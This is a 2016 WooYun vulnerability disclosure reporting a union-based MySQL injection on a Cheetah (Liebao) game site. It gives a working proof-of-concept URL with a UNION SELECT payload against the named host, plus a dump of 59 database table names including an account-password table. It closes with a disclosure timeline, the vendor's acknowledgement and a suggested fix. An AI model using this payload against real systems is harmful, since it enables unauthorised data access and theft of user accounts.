破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

猎豹某站点MySQL注射(支持union)

编号188825
Urlhttp://www.wooyun.org/bug.php?action=view&id=188825
漏洞状态厂商已经确认
漏洞标题猎豹某站点MySQL注射(支持union)
漏洞类型SQL注射漏洞
厂商金山毒霸
白帽子lijiejie
提交日期2016-03-25 09:03:00
公开日期2016-05-09 10:05:00
修复时间(not set)
确认时间2016-03-25 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank12
厂商评级
厂商评rank10
漏洞简介
猎豹某站点MySQL注射(支持union)
漏洞细节

猎豹某站点MySQL注射(支持union)

POC

http://wan.liebao.cn/action/wy/rank.php?sid=1&rktype=1 and 1=2 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x232323,user(),0x232323),NULL,NULL,NULL,NULL,NULL--&sid=1

liebiao.sqli.png


Database: cq_actor1
[59 tables]
+-------------------+
| accountpsw |
| actoralmirahitem |
| actorbagitem |
| actorbinarydata |
| actorbrother |
| actorconsignment |
| actordeath |
| actordeathdrop |
| actordepotitem |
| actordmkjitem |
| actorequipitem |
| actorfollowpet |
| actorfriends |
| actorgemitem |
| actorgodpet |
| actorguild |
| actorinvestment |
| actormagicitem |
| actormsg |
| actornewtitle |
| actoroffer |
| actorpetitem |
| actorpets |
| actorrelation |
| actorrune |
| actors |
| actorvariable |
| actorwarchariot |
| brothgrouplist |
| combatgame |
| combatrecord |
| diamond |
| dragonball |
| dragonsoul |
| filternames |
| friendchatmsg |
| friends |
| gameserveraddress |
| gamesetdata |
| gemsuit |
| godwealthevent |
| goingquest |
| guildevent |
| guildlist |
| guildskill |
| guildstore |
| guildstorerecord |
| guildwar |
| guildwarhistory |
| jobcount |
| mail |
| periodride |
| petskills |
| repeatquest |
| rideequipitem |
| skill |
| toprank |
| useritem |
| zycount |
+-------------------+

修复方案

参数过滤,类型转换

状态信息 2016-03-25: 细节已通知厂商并且等待厂商处理中
2016-03-25: 厂商已经确认,细节仅向厂商公开
2016-04-04: 细节向核心白帽子及相关领域专家公开
2016-04-14: 细节向普通白帽子公开
2016-04-24: 细节向实习白帽子公开
2016-05-09: 细节向公众公开
厂商回复感谢提交,多谢关注金山安全,马上跟进处理
回应信息危害等级:高漏洞Rank:10 确认时间:2016-03-25 10:05
Showing 1-5 of 5 items.
评论内容评论人点赞数评论时间

李姐姐 早上好

Rand0m02016-03-25 14:33:00

404notfound02016-03-25 11:32:00

李姐姐 早上好

tangtanglove02016-03-25 10:34:00

李姐姐 早上好

雅柏菲卡02016-03-25 09:17:00

好早

missy02016-03-25 09:08:00